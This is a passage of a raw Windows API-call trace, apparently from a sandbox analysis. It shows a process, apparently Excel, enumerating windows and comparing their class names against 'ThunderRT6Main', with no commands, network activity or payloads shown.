lpdwProcessId=0x0) returned 0x868 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0094.765] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0094.766] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0094.766] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0094.766] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0094.766] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0094.766] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0094.766] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0094.766] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0094.766] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0094.766] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0094.766] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0094.766] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0094.767] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0094.767] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0094.767] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0094.767] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0094.767] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0094.767] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0094.767] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0094.767] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0094.767] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0094.767] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0094.767] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0094.767] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0094.768] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0094.768] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0094.768] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0094.768] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0094.768] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0094.768] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0094.768] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0094.768] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0094.768] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0094.768] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0094.768] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0094.768] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0094.769] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0094.769] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0094.769] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0094.769] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0094.769] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0094.769] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0094.769] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0094.769] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0094.769] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0094.769] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0094.769] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0094.770] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0094.770] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0094.770] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0094.770] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0094.770] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0094.770] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0094.770] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0094.770] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0094.770] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0094.770] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0094.770] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0094.770] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0094.771] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0094.771] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0094.771] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0094.771] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.771] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0094.771] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.771] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.771] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.771] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0094.771] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0094.771] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.771] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0094.772] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0094.772] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.772] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0094.772] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0094.772] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0094.772] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0094.772] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0094.772] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0094.772] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0094.772] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1860 [0094.773] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1860) [0094.837] GetCurrentThreadId () returned 0xbdc [0094.837] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0094.837] GetDesktopWindow () returned 0x10010 [0094.837] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.838] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.838] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.838] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0094.838] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0094.838] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0094.838] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.838] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.838] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.838] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.839] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0094.839] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0094.839] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0094.839] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.839] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0094.839] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0094.839] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0094.839] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.839] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0094.839] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0094.839] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0094.839] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.839] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0094.840] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0094.840] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0094.840] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.840] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0094.840] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.840] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.840] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.840] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0094.840] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0094.840] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0094.840] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.840] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0094.840] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0094.840] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0094.840] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.840] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0094.840] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0094.840] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0094.840] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0094.840] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0094.840] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0094.840] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0094.840] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.840] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0094.840] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0094.840] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0094.840] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.841] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0094.841] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0094.841] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0094.841] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.841] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0094.841] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0094.841] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0094.841] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0094.841] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.841] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.841] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.841] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0094.841] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0094.841] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0094.841] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0094.841] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0094.841] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0094.841] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.841] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0094.841] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0094.841] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0094.841] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0094.841] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0094.841] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0094.841] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.841] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0094.841] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0094.841] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0094.841] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0094.841] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0094.841] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0094.842] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.842] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0094.842] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0094.842] IsWindowEnabled (hWnd=0x20360) returned 1 [0094.842] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0094.842] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0094.842] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0094.842] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0094.842] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0094.842] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0094.842] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.842] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0094.842] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0094.842] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0094.842] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0094.842] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0094.842] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0094.842] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0094.842] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0094.842] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.842] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0094.842] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0094.842] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0094.842] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0094.842] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0094.842] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0094.843] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.843] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0094.843] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0094.843] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0094.843] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0094.843] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0094.843] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0094.843] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.843] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0094.843] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0094.843] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0094.843] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0094.843] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0094.843] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0094.843] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.843] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0094.843] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0094.843] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0094.843] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0094.843] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0094.843] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0094.843] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0094.843] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0094.843] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0094.843] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0094.843] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0094.843] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0094.843] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0094.843] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0094.843] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0094.843] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0094.844] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0094.844] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0094.844] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0094.844] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.844] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.844] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0094.844] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0094.844] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0094.844] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0094.844] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0094.844] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0094.844] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0094.844] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0094.844] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0094.844] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0094.844] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0094.844] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0094.844] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0094.844] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0094.845] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0094.845] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0094.845] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0094.845] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0094.845] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0094.845] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0094.845] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0094.845] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0094.845] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0094.845] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0094.845] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0094.845] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0094.845] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0094.845] 